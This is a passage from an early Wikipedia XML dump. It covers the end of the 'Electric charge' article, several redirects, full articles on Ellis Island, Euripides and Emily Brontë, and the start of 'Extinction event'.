We now know that the Franklin/Watson model was close, but too simple.  Matter is actually composed of several kinds of electrically charged particles, the most common being the positively charged [[proton]] and the negatively charged [[electron]].  Rather than one possible [[electric current]] there are many: a flow of electrons, a flow of electron &quot;holes&quot; which act like positive particles, or in [[electrolytic]] [[solution]]s, a flow of both negative and positive particles called [[ion]]s moving in opposite directions.  To reduce this complexity, electrical workers still use Franklin's convention and they imagine that electric current (known as ''[[conventional_current|conventional current]]'') is a flow of exclusively positive particles.  The conventional current simplifies electrical concepts and calculations, but it ignores the fact that within some conductors (electrolytes, semiconductors, and [[Plasma (physics)|plasma]]), two or more species of electric charges flow in opposite directions.  The flow direction for ''conventional current'' is also backwards compared to the actual electron drift taking place during electric currents in metals, the typical conductor of electricity, which is a source of confusion for beginners in electronics.

== Properties ==

Aside from the properties described in articles about [[electromagnetism]], charge is a [[theory of relativity|relativistic]] [[invariant (physics)|invariant]].  This means that any particle that has charge ''q'', no matter how fast it goes, always has charge ''q''.  This property has been experimentally verified by showing that the charge of ''one'' [[helium]] [[atomic nucleus|nucleus]] (two [[proton]]s and two [[neutron]]s bound together in a nucleus and moving around at incredible speeds) is the same as ''two'' [[deuterium]] nuclei (one proton and one neutron bound together, but moving much more slowly than they would if they were in a helium nucleus).

== Conservation of charge ==

The total electric charge of [[isolated system]]s remains constant regardless of changes within the system itself. This law is inherent to all processes known to physics and can be derived in a local form from [[Maxwell's equation]] as a [[continuity equation]]. More generally, the net change in [[charge density]] &lt;math&gt;\rho&lt;/math&gt; within a volume of integration &lt;math&gt;V&lt;/math&gt; is equal to the area integral over the [[current density]] &lt;math&gt;J&lt;/math&gt; on the surface of the volume &lt;math&gt;S&lt;/math&gt;, which is in turn equal to the net [[Current (electricity)|current]] &lt;math&gt;I&lt;/math&gt;:

:&lt;math&gt;- \frac{\partial}{\partial t} \int_V \rho\, dV = \int_S \mathbf{J} \cdot \mathbf{dS} = I&lt;/math&gt;

== See also ==

* [[Charge decay]]
* [[Current density]]
* [[Electrical discharge]]
* [[SI electromagnetism units]]
* [[Quantity of electricity]]

== External links ==

* [http://www.unitconversion.org/unit_converter/charge.html Online Charge Converter] - convert between various units of charge, such as ''coulomb'', ''EMU of charge'', ''franklin'', ''ampere-hour'', ''faraday'', and so on

* [http://www.unitconversion.org/unit_converter/charge-ex.html Interactive Charge Conversion Table] - convert selected unit to all other units of charge

* [http://www.ce-mag.com/archive/2000/marapril/mrstatic.html How fast does a charge decay?]

[[Category:Electrostatics|*]]
[[Category:Electricity]]
[[Category:Physical quantity]]
[[Category:Chemical properties]]
[[Category:Introductory physics]]
[[Category:Fundamental physics concepts]]

[[bg:Електрически заряд]]
[[ca:Càrrega elèctrica]]
[[cs:Elektrický náboj]]
[[da:Elektrisk ladning]]
[[de:Elektrische Ladung]]
[[es:Carga eléctrica]]
[[eo:Elektra ŝargo]]
[[fr:Charge électrique]]
[[gl:Carga eléctrica]]
[[ko:전하]]
[[hr:Električni naboj]]
[[id:Muatan listrik]]
[[it:Carica elettrica]]
[[he:מטען חשמלי]]
[[la:Onus electricum]]
[[hu:Elektromos töltés]]
[[nl:Elektrische lading]]
[[ja:電荷]]
[[pl:Ładunek elektryczny]]
[[pt:Carga elétrica]]
[[simple:Electric charge]]
[[sk:Elektrický náboj]]
[[sl:Električni naboj]]
[[fi:Sähkövaraus]]
[[sv:Elektricitetsmängd]]
[[th:ประจุไฟฟ้า]]
[[tr:Elektrik yükü]]
[[zh:電荷]]</text>
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    <title>Electric Charge</title>
    <id>9805</id>
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      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>-- April</username>
        <id>166</id>
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      <minor />
      <comment>made redirect</comment>
      <text xml:space="preserve">#redirect [[Electric charge]]</text>
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  <page>
    <title>Ellis Island</title>
    <id>9806</id>
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      <id>41545646</id>
      <timestamp>2006-02-28T01:45:08Z</timestamp>
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        <username>FlaBot</username>
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      <minor />
      <comment>robot  Adding: nl</comment>
      <text xml:space="preserve">{{Infobox_protected_area | name = Ellis Island National Monument
  | iucn_category = III
  | image = US_Locator_Blank.svg
  | caption = 
  | locator_x = 254
  | locator_y = 60
  | location = [[New Jersey]] &amp; [[New York]], [[United States|USA]]
  | nearest_city = [[Jersey City, New Jersey|Jersey City, NJ]]
  | lat_degrees = 40
  | lat_minutes = 41
  | lat_seconds = 59
  | lat_direction = N
  | long_degrees = 74
  | long_minutes = 2
  | long_seconds = 23
  | long_direction = W
  | area = 58.38 acres (0.24 km²) (includes [[Statue of Liberty|Statue of Liberty NM]])
  | established = [[October 15]], [[1924]]
  | visitation_num = 3,618,053 (includes Statue of Liberty NM)
  | visitation_year = 2004
  | governing_body = [[National Park Service]]
}}&lt;!-- Note: site is not listed in IUCN database, but appears to conform with Category III --&gt;
'''Ellis Island''', at the mouth of the [[Hudson River]] in [[New York Harbor]], was at one time the main [[immigration]] port for immigrants entering the [[United States]] in the late [[19th century|19th]] and early [[20th century|20th centuries]].

==History==
[[Image:Ellis island 1902.jpg|thumbnail|left|Landing at Ellis Island, [[1902]]]]
The federal immigration station opened on [[January 1]], [[1892]] and was closed in [[November]] [[1954]] but not before processing more than 12 million immigrants. Previously immigrants were processed at [[Castle Clinton]]. Only about 2 percent were denied admission to the U.S. and sent back to their countries of origin for reasons such as chronic disease, criminal background, or insanity &lt;ref&gt;[http://www.nps.gov/stli/serv02.htm#Ellis National Park Service: Ellis Island], retreived January 12, 2006.&lt;/ref&gt;. Immigrants were examined by both doctors and questioned by government officials. Many who were allowed entry settled in [[New York City|New York]] and northern [[New Jersey]] for at least their first few years in America.

[[Image:Stamp-ctc-ellis-island.jpg|thumb|200px|right|Ellis Island immigrants as depicted in a USPS stamp]]
Ellis Island was the first stop for most immigrants from Europe. There, they were processed before they could enter the United States. First, they had to pass a physical examination. Those with serious health problems or diseases were sent home or were held in the island's hospital facilities for long periods of time. Next, they were asked a series of questions, including name, occupation, work experience, and the amount of money they carried with them.  Generally, those immigrants who were approved spent from hours up to a day at the island.  More than three thousand would-be immigrants died on Ellis Island, however, while being held in the hospital facilities.  Some unskilled workers and infirm migrants were rejected outright because they were considered &quot;likely to become a public charge.&quot;

Writer [[Louis Adamic]] came to America from [[Slovenia]], in southeastern Europe, in 1913. Adamic described the night he spent on Ellis Island. He and many other immigrants slept on bunk beds in a huge hall. Lacking a warm blanket, the young man &quot;shivered, sleepless, all night, listening to snores&quot; and dreams &quot;in perhaps a dozen different languages.&quot;

After 1924, Ellis Island was only used for detainees and refugees. Ordinary immigrants were processed through other facilities.

As with all historic areas administered by the [[National Park Service]], [[Ellis Island National Monument]], along with [[Statue of Liberty National Monument]], was listed on the [[National Register of Historic Places]] on [[October 15]], [[1966]].

Today, Ellis Island houses a museum, reachable by ferry from [[Liberty State Park]] in [[Jersey City, New Jersey]] and from the southern tip of [[Manhattan]] in [[New York City]]. The [[Statue of Liberty]], sometimes thought to be on Ellis Island because of its symbolism as a welcome to immigrants, is actually on nearby [[Liberty Island]].

Ellis island was also known as &quot;The Isle of Tears&quot; or &quot;Heartbreak island.&quot;&lt;ref&gt;Davis, Kenneth (2003), ''Don't Know Much About American History,'' HarperTrophy, ISBN 0064408361 (&quot;Isle of Tears&quot; or &quot;Heartbreak Island,&quot; p. 123)&lt;/ref&gt; Many immigrants were sent back to their countries and did not become U.S. citizens after a long travel to Ellis island.

==Legacy==
[[Image:EllisIsland.JPG|thumbnail|right|400px|Immigration Museum on Ellis Island]]
[[Image:Liberty-ellis-island.jpg|thumb|300px|right|Main building detail.]]
Ellis Island is also known as a place where people changed their names; however, this is largely legend. It is said that if the immigration officer could not spell the original name, they would come up with an approximation, or something shorter or simpler, such as &quot;Ellen Pollock&quot; for &quot;Helena Polonowycz&quot;. This is said to have been especially common when the newcomer couldn't read and write English. However, immigrants' identities were backed by their travel documents and ship lists, and they were often assisted by immigration societies of fellow countrymen. Very few cases of name changes can be traced to immigration processing while &quot;Americanization&quot; of ethnic names was a common occurrence as immigrants blended into everyday existence among friends and coworkers in their new country.

Ellis island mainly consisted of two types of immigrants: old immigrants and new immigrants. Old immigrants came prior to 1890, mostly from northern and western Europe. New immigrants came after 1890 from the Eastern and Southern parts of Europe. It is said that newer immigrants were not accepted as easily for cultural reasons as well as physical reasons (they were not as white as the old immigrants; white peoples were seen as superior).

Many immigrants were tested for mental problems, physical problems and other illnesses. Those who were wealthy did not have to take these exams.

In order to become a U.S. citizen, immigrants had to pass a few other exams, including reading, writing, and a U.S. history exam. An immigrant also had to renounce their citizenship from their mother country.

==Jurisdiction==

On [[October 15]], [[1965]], Ellis Island was proclaimed a [[U.S. National Monument|national monument]] and is managed by the [[National Park Service]] as part of [[Statue of Liberty National Monument]]. Because it is owned by the federal government the long-running jurisdictional dispute between the states of [[New Jersey]] and [[New York]] was more symbolic than practical. The island is on the New Jersey side of the Hudson River. During the colonial period, however, New York had taken possession, and New Jersey had acquiesced in that action. In a compact between the two states, approved by [[Congress of the United States|U.S. Congress]] in [[1834]], New Jersey therefore agreed that New York would continue to have exclusive jurisdiction over the island. [[Image:IMG 0286.jpg|thumb|300px|right|Main building's exterior.]]

Thereafter, however, the federal government expanded the island by [[Land reclamation#Creating new land|landfill]], so that it could accommodate the immigration station that opened in 1892. Landfilling continued until [[1934]]. Nine-tenths of the current area is [[artificial island]] that did not exist at the time of the interstate compact.
[[Image:Ellisislandhallinside.jpg|thumb|300px|right|Main building's interior.]]
New Jersey contended that the new extensions were part of New Jersey, since they were not part of the previous cession. New Jersey eventually filed suit to establish its jurisdiction, leading New York City Mayor [[Rudolph Giuliani]] to famously remark that his father, an Italian who immigrated through Ellis Island, never intended to go to New Jersey.

The dispute eventually reached the [[United States Supreme Court]], which ruled in [[1998]] that New Jersey had jurisdiction over all portions of the island created after the original compact was approved. This caused several immediate problems: some buildings, for instance, fell into the territory of both states. New Jersey and New York soon agreed to share jurisdiction over the island.

==Inspection Symbols==
These inspection symbols were chalked on the clothing of sick or otherwise &quot;defective&quot; hopeful immigrants, and some only entered the country by surreptitiously wiping them off.
&lt;!-- need better explanation --&gt;

* '''C''' - Conjunctivitis
* '''B''' - Back
* '''CT''' - Trachoma
* '''E''' - Eyes
* '''F''' - Face
* '''FT''' - Feet
* '''G''' - Goiter
* '''H''' - Heat
* '''K''' - Hernia
* '''L''' - Lameness
* '''N''' - Neck
* '''P''' - Physical and Lungs
* '''PG''' - Pregnancy
* '''SC''' - Scalp (fungus)
* '''SI''' - Special Inquiry
* '''X''' - Suspected Mental Defect
* '''X (circled)''' - Definite Mental Defect
There are one or two signs not available here.
&lt;!--And it would be nice if somebody could add them--&gt;

==Other==

The main building now houses a [[museum]] in addition to being a historic site.  It is legally in New York state, while the southern part of the island, which holds the unrestored infirmary and hospital buildings, was given back to New Jersey in the court settlement.  There is now a land bridge that connects Ellis Island with Jersey City, although visitors must travel by ferry.

The island was a scene used in ''[[Hitch (movie)|Hitch]]'', a [[motion picture]] starring [[Will Smith]].  He and [[Eva Mendes]] take a [[jet ski]] to the island and explore the building.

The IMAX 3D movie, [http://www.imdb.com/title/tt0112286/ Across the Sea of Time], about the New York immigrant experience, incorporates both modern footage and historical photographs of Ellis Island.

==Trivia==

The last person processed at Ellis Island was Arne Petterssen, a Norwegian seaman who was sent home for overstaying his work permit.

==Media==
{{multi-video start}}
{{multi-video item |
  filename      = Ellis Island immigration footage.ogg |
  title         = Ellis Island immigration footage, 1906 |
  description   =  Depicts scenes at the Immigration Depot and a nearby dock on Ellis Island. (3:37, 16.6 [[Megabyte|MB]], [[ogg]]/[[Theora]] format). |
  format        = [[Theora]]
}}
{{multi-video end}}

==References==
&lt;references/&gt;

==See also==
* [[List of museums and cultural institutions in New York City]]
* [[Geography and environment of New York City]]

==External links==
* Official site: [http://www.nps.gov/elis/ Ellis Island National Monument]
* [http://www.SaveEllisIsland.org Save Ellis Island!]
* [http://www.ellisislandrecords.org/ Ellis Island Database - NY Arrivals 1892-1924]
* [http://www.ancestry.com/learn/library/article.aspx?article=3893 The Myth of Ellis Island Name Changes]
* [http://www.ellisisland.org/ Ellis Island web site]
* [http://www.ellisisland.com/timeline.html Ellis Island timeline]
* [http://www.insecula.com/salle/theme_40024_M0087.html/ Ellis Island] (in French)
* [http://newyorkbirds.free.fr/manhattan/lower%20manhattan/ellis%20island/index.php Air visit of 'Ellis Island' in Photographs]
* [http://caselaw.lp.findlaw.com/cgi-bin/getcase.pl?court=US&amp;navby=case&amp;vol=000&amp;invol=120ORIG Supreme Court opinion in ''New Jersey v. New York'' (1998)]

{{New York City}}

[[Category:Art museums and galleries in the United States]]
[[Category:Artificial islands]]
[[Category:History of New York City]]
[[Category:History of immigration to the United States]]
[[Category:Islands of New Jersey]]
[[Category:Islands of New York City]]
[[Category:Museums in New York City]]
[[Category:National Monuments of the United States]]
[[Category:National Register of Historic Places]]

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  <page>
    <title>Early Helladic</title>
    <id>9807</id>
    <revision>
      <id>15907673</id>
      <timestamp>2005-04-16T11:12:05Z</timestamp>
      <contributor>
        <username>Bobby D. Bryant</username>
        <id>6244</id>
      </contributor>
      <comment>merged to [[Helladic]]</comment>
      <text xml:space="preserve">#REDIRECT [[Helladic]]</text>
    </revision>
  </page>
  <page>
    <title>Euripides</title>
    <id>9808</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41760916</id>
      <timestamp>2006-03-01T15:32:07Z</timestamp>
      <contributor>
        <ip>195.38.113.141</ip>
      </contributor>
      <comment>robot  Adding: bg</comment>
      <text xml:space="preserve">[[Image:Seated Euripides Louvre Ma343.jpg|thumb|200px|A statue of Euripides]]
'''Euripides''' (c. 480&amp;ndash;406 [[Common_Era|BCE]]) was the last of the three great [[tragedy|tragedians]] of classical [[Athens]], along with [[Aeschylus]] and [[Sophocles]].

He is believed to have written over ninety plays, eighteen of which have survived. It is now widely believed that what was thought to be a nineteenth, ''[[Rhesus (play)|Rhesus]]'', was probably not by Euripides. [http://www.fordham.edu/halsall/ancient/eb11-euripides.html] Fragments, some of them substantial, of most of the other plays also survive.  More of his plays have survived than those of [[Aeschylus]] and [[Sophocles]] together, partly because of the chance preservation of a manuscript that was probably part of a complete collection of his works. {{fact}}

Euripides is known primarily for having reshaped the formal structure of traditional [[Attic]] tragedy by showing strong women characters and smart [[slave]]s, and by satirizing many [[hero]]es of [[Greek mythology]]. His plays seem modern by comparison with those of his contemporaries, focusing on the inner lives and motives of his characters in a way that was unknown to Greek audiences.

He is also notable for having written ''Cyclops'', the only complete [[satyr play]] currently in existence.

==Life==
[[image:Euripides Statue.jpg|thumb|[[Euripides]]. [[Vatican Museum]]]] 

According to legend, Euripides was born in [[Salamis|Salamís]] on [[September 23]] [[480 BCE]] {{fact}}; the day of the [[Greco-Persian Wars|Persian War]]'s greatest naval battle.

His father's name was either Mnesarchus or Mnesarchides and his mother's name Cleito, [http://www.britannica.com/eb/article-30155] and evidence suggests that the family was wealthy and influential, as a result of which Euripides was exposed to the great ideas and thinkers of the day, including [[Protagoras]], [[Socrates]], and [[Anaxagoras]]. Anaxagorus, for example, maintained that the [[sun]] was not a golden chariot steered across the sky by some elusive [[god]], but rather a fiery mass of earth or stone; exposure to such ideas led Euripides to question the religion he grew up with. (It is recorded that he served as a cup-bearer for [[Apollo]]'s dancers.)

He was married twice, to Choerile and [[Melito]], though sources disagree as to which woman he married first. [http://www.queensu.ca/classics/clst312/clst312i.htm] [http://www.theatrehistory.com/ancient/euripides001.html] &lt;!--I don't know who the authoritative sources are here; will check and return--&gt;He had three sons, and it is rumored that he also had a daughter who was killed after a [[Rabies|rabid]] dog attacked her. Some call this rumor a joke made by [[Aristophanes]], a comic writer who often poked fun at Euripides, but many historians believe that the story is accurate. {{fact}}

The record of Euripides' public life, other than his involvement in dramatic competitions, is almost non-existent. It has been said that he travelled to [[Syracuse, Italy|Syracuse]], [[Sicily]], that he engaged in various public or political activities during his lifetime, and that he left [[Athens]] at the invitation of king Archelaus II of Macedon and stayed with him in [[Macedon|Macedonia]] after 408 BCE; there is, however, no historical evidence for any of these claims.

==His plays==
Euripides first competed in the famous Athenian dramatic festival (the [[Dionysia]]) in 455 BCE, one year after the death of [[Aeschylus]]. He came in third, because he refused to cater to the fancies of the Judges. It was not until 441 BCE that he won first place, and over the course of his lifetime, Euripides claimed a mere four victories. 

He was a frequent target of Aristophanes' humor. He appears as a character in ''[[The Acharnians]]'', ''[[Thesmophoriazusae]]'', and most memorably in ''[[The Frogs]]'', where [[Dionysus]] travels to [[Hades]] to bring Euripides back from the dead. After a competition of poetry, [[Dionysus]] opts to bring [[Aeschylus]] instead. 

Euripides' final competition in Athens was in 408 BCE. Although there is a story that he left Athens embittered over his defeats, there is no real evidence to support it. He is believed to have died in Macedonia in 406 BCE (Rutherford 1996). &lt;!--I've removed Athens because it lacks a citation and I can't find one--&gt;''[[The Bacchae]]'' was performed after his death in 405 BCE.

When compared with Aeschylus, who won thirteen times, and Sophocles, with eighteen victories, Euripides was the least honored, though not necessarily the least popular, of the three &amp;mdash; at least in his lifetime. Later in the 4th century BCE, the [[drama]]s of Euripides became more popular than those of [[Aeschylus]] and [[Sophocles]]. His works influenced [[New Comedy]] and [[Ancient Rome|Roman]] drama, and were later idolized by the [[French classicists]]; his influence on drama reaches modern times. 

Euripides' greatest works are considered to be ''[[Alcestis (play)|Alcestis]]'', ''[[Medea (play)|Medea]]'', ''[[Electra (Euripides)|Electra]]'', and ''[[The Bacchae]]''. 

In June 2005, classicists at [[Oxford University]] employed [[infrared]] technology &amp;mdash; previously used for [[satellite]] imaging &amp;mdash; to detect previously unknown material by Euripides in fragments of the [[Oxyrhynchus|Oxyrhynchus papyri]], [http://www.papyrology.ox.ac.uk/] a collection of ancient manuscripts held by the university. [http://www.ox.ac.uk/blueprint/2004-05/3006/25.shtml]

==Works==
===Tragedies of Euripides===

# ''[[Alcestis (play)|Alcestis]]'' (438 BCE, second prize)
# ''[[Medea (play)|Medea]]'' (431 BCE, third prize)
# ''[[Heracleidae (play)|Heracleidae]]'' (c. 430 BCE)
# ''[[Hippolytus (play)|Hippolytus]]'' (428 BCE, first prize)
# ''[[Andromache (play)|Andromache]]'' (c. 425 BCE)
# ''[[Hecuba (play)|Hecuba]]'' (c. 424 BCE)
# ''[[The Suppliants (Euripides)|The Suppliants]]'' (c. 423 BCE)
# ''[[Electra (Euripides)|Electra]]'' (c. 420 BCE)
# ''[[Heracles (Euripides)|Heracles]]'' (c. 416 BCE)
# ''[[Trojan Women]]'' (415 BCE, second prize)
# ''[[Iphigeneia in Tauris]]'' (c. 414 BCE)
# ''[[Ion (play)|Ion]]'' (c. 413 BCE)
# ''[[Helen (play)|Helen]]'' (412 BCE)
# ''[[Phoenician Women]]'' (c. 410 BCE, second prize)
# ''[[Orestes (play)|Orestes]]'' (408 BCE)
# ''[[The Bacchae|Bacchae]]'' and ''[[Iphigeneia at Aulis]]'' (405 BCE, posthumous, first prize)

===Fragmentary tragedies of Euripides===
[[Image:Euripides lost play fragment.jpg|thumb|A fragment of a lost Euripides play.]]
The following plays have come down to us today only in fragmentary form; some consist of only a handful of lines, but with some the fragments are extensive enough to allow tentative reconstruction: see ''Euripides: Selected Fragmentary Plays'' (Aris and Phillips 1995) ed. C. Collard, M.J. Cropp and K.H. Lee.

# ''Telephus'' (438 BCE)
# ''Cretans''  (c. 435 BCE)
# ''Stheneboea'' (before 429 BCE)
# ''[[Bellerophon]]'' (c. 430 BCE)
# ''Cresphontes'' (ca. 425 BCE)
# ''Erechtheus'' (422 BCE)
# ''[[Phaethon]]'' (c. 420 BCE)
# ''Wise Melanippe'' (c. 420 BCE)
# ''Alexandros'' (415 BCE)
# ''Palamedes'' (415 BCE)
# ''Sisyphus'' (415 BCE)
# ''Captive Melanippe'' (412 BCE)
# ''[[Andromeda (mythology)|Andromeda]]'' (c. 410 BCE)
# ''Antiope''  (c. 410 BCE)
# ''Archelaus''  (c. 410 BCE)
# ''Hypsipyle''  (c. 410 BCE)
# ''[[Oedipus]]''  (c. 410 BCE)
# ''Philoctetes'' (c. 410 BCE)

===Satyr play===
# ''[[Cyclops (play)|Cyclops]]'' (unknown)

===Spurious plays===
# ''[[Rhesus (play)|Rhesus]]'' (mid 4th century BCE, probably not by Euripides, as maintained today by most scholars)

== See also ==
*[[Tragedy on screen]]

== References ==
*Croally, N.T. ''Euripidean Polemic: The Trojan Women and the Function of Tragedy''. Cambridge University Press, 1994.
*Ippolito, P. ''La vita di Euripide''. N�poles: Dipartimento di Filologia Classica dell'Universit'a degli Studi di Napoli Federico II, 1999.
*Kovacs, D. ''Euripidea''. Leiden: Brill, 1994.
*[[Mary Lefkowitz|Lefkowitz, M.R.]] ''The Lives of the Greek Poets''. London: Duckworth, 1981.
*Rutherford, Richard. ''Euripides: Medea and other plays''. Penguin, 1996.
*Scullion, S. ''Euripides and Macedon, or the silence of the Frogs''. The Classical Quarterly, Oxford, v. 53, n. 2, p. 389-400, 2003.
*Webster, T.B.L., ''The Tragedies of Euripides'', Methuen, 1967.

== Further reading ==
{{wikiquote}}
{{commons}}
*{{gutenberg author| id=Euripides | name=Euripides}}
*[http://encarta.msn.com/encyclopedia_761567264/Euripides.html Encarta's entry for Euripides]
*[http://www.perseus.tufts.edu/cgi-bin/vor?x=0&amp;y=0&amp;lookup=Euripides Euripides-related materials at the Perseus Digital Library]
*[http://www.theatrehistory.com/ancient/euripides001.html Useful summaries of Euripides' life, works, and other relevant topics of interest at TheatreHistory.com.]
*http://www.fordham.edu/halsall/ancient/eb11-euripides.html
*http://www.ac-strasbourg.fr/pedago/lettres/Victor%20Hugo/Notes/Euripide.htm
*http://www.perseus.tufts.edu/~amahoney/tragedy_dates.html
*[http://www.gpc.edu/~shale/humanities/literature/world_literature/euripides.html http://www.gpc.edu/~shale/humanities/literature/world_literature/euripides.html]
*[http://www.imagi-nation.com/moonstruck/clsc4.htm http://www.imagi-nation.com/moonstruck/clsc4.htm]

[[Category:480 BC births]]
[[Category:406 BC deaths]]
[[Category:Ancient Greek dramatists and playwrights]]
[[Category:Ancient Athenians]]
[[Category:Ancient Greek poets]]

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  </page>
  <page>
    <title>Electromagnetic force</title>
    <id>9809</id>
    <revision>
      <id>23582711</id>
      <timestamp>2005-09-20T08:08:48Z</timestamp>
      <contributor>
        <username>Lucinos</username>
        <id>289704</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Electromagnetic interaction]]</text>
    </revision>
  </page>
  <page>
    <title>Emily Brontë</title>
    <id>9810</id>
    <revision>
      <id>41788517</id>
      <timestamp>2006-03-01T19:32:25Z</timestamp>
      <contributor>
        <username>Pavel Vozenilek</username>
        <id>87110</id>
      </contributor>
      <minor />
      <comment>rv Michellebryan  - promotion</comment>
      <text xml:space="preserve">[[Image:emilybronte.jpg|right|thumb|Portrait by her brother]]'''Emily Jane Brontë''' {{IPA|/b&amp;#633;&amp;#593;nti/}} ([[July 30]], [[1818]] &amp;ndash; [[December 19]], [[1848]]) was a [[United Kingdom|British]] [[novelist]] and [[poet]], best remembered for her only [[novel]] ''[[Wuthering Heights]]'', which is now an acknowledged classic of [[English literature]]. 

Emily was born at [[Thornton, Bradford|Thornton]] in [[Yorkshire]] to [[Patrick Brontë]] and Maria Branwell. She was the younger sister of [[Charlotte Brontë]] and the fifth of six children. In [[1820]], the family moved to [[Haworth]], where Emily's father was [[vicar|perpetual curate]], and it was in these surroundings that their literary talent flourished. In childhood, after the death of their mother, the three sisters and their brother Branwell created imaginary lands (Angria, Gondal, Gaaldine), which featured in stories they wrote. Little of Emily's work from this period survives, except for poems spoken by characters (''The Brontës' Web of Childhood'', Fannie Ratchford, 1941).

In [[1838]], Emily commenced work as a governess at Miss Patchett's  Ladies Academy at Law Hill Hall, near [[Halifax, West Yorkshire|Halifax]]. Later, with her sister Charlotte, she attended a private school in [[Brussels]].

It was the discovery of Emily's poetic talent by her family that led her and her sisters, [[Charlotte Brontë|Charlotte]] and [[Anne Brontë|Anne]], to publish a joint collection of their poetry in [[1846]]. To evade contemporary prejudice against female writers, all three used male pseudonyms, Emily's being &quot;Ellis Bell&quot;.

She subsequently published her only novel,  ''[[Wuthering Heights]]'', in [[1847]] - a powerful, poetic work, but whose innovative structure somewhat puzzled critics. Although it received mixed reviews when it first came out, the book subsequently became an [[English literature|English]] literary classic.

Like her sisters, Emily's constitution had been weakened by their harsh life at home and at school. She died on [[December 19]], [[1848]] of [[tuberculosis]], having caught a chill during the funeral of her brother in September, and was interred in the Church of St. Michael and All Angels family vault, [[Haworth]], [[West Yorkshire]], [[England]].

Emily was a woman of remarkable force of character, reserved and taciturn.

==References==
* {{A Short Biographical Dictionary of English Literature}}

==Further Reading==

* ''A Life of Emily Brontë'', Edward Chitham
* ''Heretic'', Stevie Davies
* ''Emily Brontë'', Katherine Franks
* ''The Brontës'', Juliet Barker
* ''Emily Brontë'', Winifred Gerin
* ''The Brontës' Web of Childhood'', Frances Ratchford
* ''Gondal's Queen'', Fannie E. Ratchford
* ''The Birth of Wuthering Heights: Emily Brontë at Work'', Edward Chitham
* ''Emily Brontë'', Charles Simpson
* ''In the Footsteps of the Brontës'', Ellis Chadwick
* ''The Oxford Reader's Companion to the Brontës'', Christine Alexander &amp; Margaret Smith
* ''Literature and Evil'', Georges Bataille
* ''The Brontë Myth'', Lucasta Miller

==See also==
* [[Walterclough Hall]]

==External links==
{{Wikiquote}}
{{Wikisource author}}
*{{gutenberg author | id=Emily_Brontë | name=Emily Brontë}}
*[http://www.poetseers.org/the_great_poets/british_poets/emily_bronte_poems/ Short Bio and selected Poems]
*[http://bronteblog.blogspot.com News and information about the Brontës using a blog format.]
* [http://groups.yahoo.com/group/BronteSistersLinks/ Bronte Sisters Links: the biggest collection of links regarding the Bronte Sisters]
*[http://bronteana.blogspot.com Brontëana: Brontë Studies Weblog]

[[Category:1818 births|Bronte, Emily]]
[[Category:1848 deaths|Bronte, Emily]]
[[Category:English poets|Bronte, Emily]]
[[Category:English novelists|Brontë, Emily]]
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[[Category:Natives of Yorkshire|Brontë, Emily]]
[[Category:Women of the Victorian era|Brontë, Emily]]
[[Category:Women poets|Brontë, Emily]]
[[Category:Women writers|Brontë, Emily]]

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    </revision>
  </page>
  <page>
    <title>Exchange particle</title>
    <id>9811</id>
    <revision>
      <id>15907677</id>
      <timestamp>2004-02-21T01:26:23Z</timestamp>
      <contributor>
        <username>Herbee</username>
        <id>42818</id>
      </contributor>
      <minor />
      <comment>Merge with force carrier</comment>
      <text xml:space="preserve">#REDIRECT [[Force carrier]]</text>
    </revision>
  </page>
  <page>
    <title>Extinction event</title>
    <id>9813</id>
    <revision>
      <id>41918770</id>
      <timestamp>2006-03-02T16:46:34Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/169.199.30.254|169.199.30.254]] ([[User talk:169.199.30.254|talk]]) to last version by Emre D.</comment>
      <text xml:space="preserve">An '''extinction event''' (also '''extinction-level event''', '''ELE''') occurs when a large number of [[species]] [[extinction|die out]] in a relatively short period of time. Based on the [[fossil record]], the background rate of extinctions on [[Earth]] is about two to five [[taxonomy|taxonomic]] [[family (biology)|families]] of marine [[invertebrate]]s and [[vertebrate]]s every million years.

[[Image:Extinction Intensity.png|thumb|right|325px|Apparent extinction intensity, i.e. the fraction of [[genus|genera]] going extinct at any given time, as reconstructed from the [[fossil record]]]]

Since [[life]] began on Earth, a number of major mass extinctions have greatly exceeded the background extinction rate present at other times.  Though there were undoubtedly mass extinctions in the [[Archean]] and [[Proterozoic]], it is only during the [[Phanerozoic]] [[Eon (geology)|Eon]] that the biological invention of bones and shells has provided a sufficient fossil record from which to make a systematic study of extinction patterns.  The number of major mass extinctions attributed to this most recent 540 million years varies from source to source, with some authorities arguing for as few as 5 or more than 20.  These differences stem primarily from the threshold chosen for describing an extinction event as &quot;major,&quot; and what set of data one chooses to believe is the best measure of past diversity.

==Extinction events==

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ScaleMinor  = unit:year increment:10 start:0

PlotData=
 align:left textcolor:black fontsize:8 mark:(line,white) width:25 shift:(0,-5)
 text:&quot;millions of~years ago&quot; from:525 till:525 shift:(-45,15)
#&gt; comment: must have at least one (from, till) to keep the marks to the right... weird &lt;#
 align:left textcolor:black fontsize:8 mark:(line,black) width:25 shift:(0,-5)
 text:&quot;Cambrian-~Ordovician&quot; at:488 shift:(-9,1)
 text:&quot;Ordovician-~Silurian&quot; at:444 shift:(-9,1)
 text:&quot;Devonian-~Carboniferous&quot; at:360 shift:(-9,1)
 text:&quot;Permian-~Triassic&quot; at:251 shift:(-9,1)
 text:&quot;Triassic-~Jurassic&quot; at:200 shift:(-9,1)
 text:&quot;Cretaceous-~Tertiary&quot; at:65 shift:(-9,1)
 text:&quot;Holocene&quot; at:0 shift:(-9,2) 
&lt;/timeline&gt;
&lt;/div&gt;

The classical &quot;Big Five&quot; mass extinctions identified by Raup and Sepkoski (1982) are widely agreed upon as some of the most significant: [[Ordovician-Silurian extinction events|End Ordovician]], [[Late Devonian extinction|Late Devonian]], [[Permian-Triassic extinction event|End Permian]], [[Triassic-Jurassic extinction event|End Triassic]], and [[Cretaceous-Tertiary extinction event|End Cretaceous]].

These and a selection of other extinction events are highlighted below:

# 488 million years ago &amp;mdash; a series of mass extinctions at the [[Cambrian]]-[[Ordovician]] transition (the [[Cambrian-Ordovician extinction events]]) eliminated many [[brachiopod]]s and [[conodont]]s and severely reduced the number of [[trilobite]] species.
